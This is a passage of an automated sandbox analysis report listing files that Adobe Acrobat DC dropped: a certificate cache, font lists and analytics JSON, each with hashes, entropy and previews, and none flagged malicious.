SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7177881616921042
Encrypted:	false
SSDEEP:	3:kkFklbXgqbVltfllXlE/HT8kwl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKLqDeT8DNMa8RdWBwRd
MD5:	1B5C23E723101D5FA649B7F44A2FD225
SHA1:	72652367AA87DF86CE9B32A039D92392852ECC51
SHA-256:	780ED781B11F36D83C74C29938F14D792A5700066A660538E476B1FA84A24E89
SHA-512:	8616FFEAD83702D293E8E1367BB0B5D637F3A4082B49B8B00C065E4CBE98CD24ECA2B5B6AE97994B23A4D86FCDB849FCF0F43C85A05F42A42AB655F4136602AE
Malicious:	false
Preview:	p...... ........hr.g.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.380138004767855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJM3g98kUwPeUkwRe9:YvXKXBrls9EZc0vB5EGMbLUkee9
MD5:	1E480DA18ADA6ABA0906A4BD9AC8B772
SHA1:	EACAC888B74CD6697AFB644AAB38569869C25A73
SHA-256:	C09D6DC6A4B991CEFED4CEF8C731B253AE5CD44DAFA9CF29161619E2153EECC1
SHA-512:	F4749F29ECDD9A9D001A2EEE435141029DD0C131E2EF26027BA10ED064624E5DD2AF96A700303D548167F7AD3FAA09D259C65DBBC7AABA63FFF96A35254DCEAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3314212787098345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfBoTfXpnrPeUkwRe9:YvXKXBrls9EZc0vB5EGWTfXcUkee9
MD5:	1FD1EFF7CF5EEEBB91376956D1DC17B4
SHA1:	4464C674886E42C5E48D1902164B0DEA1828BD14
SHA-256:	8F6DA2F70DB9A2C915ABAF7730DCDB1FE313EA54CD55042ACD242B4B3FDDF919
SHA-512:	FCC9B9C52070333F2F9892F1899727E37F3B4D971682EBC1DB488FCB97B1EF851C84A0CDD7F754F7FBDF607DC644B2D0A93E04B8646E11D01F9BD1FB13426B04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.310312131320591
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfBD2G6UpnrPeUkwRe9:YvXKXBrls9EZc0vB5EGR22cUkee9
MD5:	9BA1D104E3F9E23FEA88AA0E8CF314F9
SHA1:	3AA843FA1798EF1C412B7A22A91CAF2384B0C920
SHA-256:	6167411E90725C6A77FCAEB72909AFE386101B605E69CB113C65F518A1782F18
SHA-512:	AE45356282DFE509D1822B18309B493BBF4331A4AA95D7B156B7B520618909E4185BA11B1AC634000D0A3BD40D8F620ECB00B392E7C8302B1A28D8482901B899
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.367737094066546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfPmwrPeUkwRe9:YvXKXBrls9EZc0vB5EGH56Ukee9
MD5:	099D2D03E2E1030ED43EE4EA4DA3B182
SHA1:	2B37E991E5F1952B9011753ADA14044C9D08C617
SHA-256:	938AF1A4E3B57CB35496A0A87300EAB3BDADD8D4D90C2518A0F949005B16B697
SHA-512:	8AB2F95D7C6763E8252B6EBAC2F4ABE7ECB3C5E338C6009A3845D2E5167B1BED776B2269CB813D1C64CB8F1FC10F43FA9130F7D6BB61272FAE07A0C9B4BFE2A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693097055410413
Encrypted:	false
SSDEEP:	24:Yv6XBrGezvBvpLgE9cQx8LennAvzBvkn0RCmK8czOCCSpM:YvEy2Rhgy6SAFv5Ah8cv/pM
MD5:	E59C3B0882FE3370E9984677DB5CFECF
SHA1:	99964EE7723054F16759CEDA64FF76AAA16B3CC7
SHA-256:	DC46355050AC66D26F2717EAEA5630B97FF6B4AC2FD28E3FD351E5285AF1AEF1
SHA-512:	7429585DC86AE11F4D79AFEF0BAB80D1E7A657913A99360F7D9B9CF6C14E05883616D8E5BDC0B88675A7006FF11E5D2246012050BC8D55B641A409D844E2B3C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317031758020123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJf8dPeUkwRe9:YvXKXBrls9EZc0vB5EGU8Ukee9
MD5:	38585EE48048D327DCA5F0C9BE6D606A
SHA1:	60F5060A5562D71560E36DBA398611327B69B034
SHA-256:	15D0B4F72DC6073A94584C50A5BB48808C2D23A2C32061118717130C187A843F
SHA-512:	F026A702CAC0E82888DCB783C4ECA8B929FCC765649271215B6E7CA82FF67E50EC9FE6E0403865EC1F6D2C25E3F708829FFF6663DD3B87810A199FABC1254914
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3216480060013875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfQ1rPeUkwRe9:YvXKXBrls9EZc0vB5EGY16Ukee9
MD5:	091306E7B72226F1FC03FBE147A816E1
SHA1:	5227D99457450C673A0F407163C66CE85169A6FB
SHA-256:	B6C40A63EC671D87744E3A8C5D7CBADECEED514E557D07D4A0F4F244B6153122
SHA-512:	B986739254CF28FAB7934B018B9532C8727C7142A3AF5EB336EF653DCD0B8C03AF5388E350402BC475DDDCD343397C2EBCCDC6179692026AF815A2287BD76937
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.326284157691019
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfFldPeUkwRe9:YvXKXBrls9EZc0vB5EGz8Ukee9
MD5:	0F6FAA4611555B815B424BFF4E350C36
SHA1:	9250AF8EF95AB70D2DD0FCFF5E2A02A2BE15C155
SHA-256:	DFEB0E930987CA074025F553AB769BF87FF8948F2842B9DE7DF7D12FF697AD44
SHA-512:	ED5C663C920ED2214CFEE6068ABC12D4382434BCE0BD1A1EA9C4251F80B8537A1B4FAC1CF48359E3AA862D60AE6FF1974F3107D4AC3E76768572107047156B84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341491975305751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfzdPeUkwRe9:YvXKXBrls9EZc0vB5EGb8Ukee9
MD5:	6DE2F6C9F7B12B9CA85330BFB762CD47
SHA1:	553C9B53807AFEC3092E293D166F27DFB6DAAA2D
SHA-256:	E113CD8AFF4E93DFEB6180F1DDE536F5DB7C072E5BEE398050C0E8D1609A58AE
SHA-512:	00B10042B9A51244CFE3240D7C452700324C60852774AE179EA3F5C672524EDDC02E61694E22098128B6E0640299D1ECD384010717873573F6F0A3F7C7BB39F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322872607806373
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfYdPeUkwRe9:YvXKXBrls9EZc0vB5EGg8Ukee9
MD5:	1D733322833BDBE19EA3A65D2C824BC7
SHA1:	759117A712C0B37E25149887AA559DE602AE6252
SHA-256:	34A8EC0F4977E07E523E25F4830FFDC3D3F759857F88244A6F6E1B5F8C3D986F
SHA-512:	D831F4EAE6858CBCF0CB3F4C26ABBE7721679843499AA803B607BEC7E26C142440030217EFDF8D775F696337B361F7521D46EE508E8899E6BBC924A8A94A58CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.309007965853359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJf+dPeUkwRe9:YvXKXBrls9EZc0vB5EG28Ukee9
MD5:	2EF286937C7E91FDD29C847AD13E265A
SHA1:	CB5D7AF2F3B034135315B929E291EB40E98E8EFA
SHA-256:	07FB7A6EBF183098DA7738F6C57721BA4B1C64CCAF0D41B642E573EF30705214
SHA-512:	9673619F648054D24369A297C653A9E6364B591A1AFC5DA6D4EA048E50D32A9E37D05D3F6FD5C959EEA4B0E4FF840204D356623D5E63049359015EF3AE542974
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.3062625054265835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBemlls99VoZcg1vRcR0Y25boAvJfbPtdPeUkwRe9:YvXKXBrls9EZc0vB5EGDV8Ukee9
MD5:	198E9F7075F4875FA7C092C784ACBEA7
SHA1:	616206EA11EBAD875844EB9F70E2CEB358F0E20F
SHA-256:	C783FEAD59C677FCC09DC64EE0042376F3B0A0C0AA4C0384714E6D447602C6E6
SHA-512:	052B5EDDF865298404CDAB687854E5BCF213B31AA5D88D0D92F0F82C1FF295F3C8447B624C92D2F3C5EFC34807C91BB3BB64F428E1D370DD5E8C9B5AFAF21C38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"64b18f62-5f3b-488b-8100-f73ba41daa54","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736740628005,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
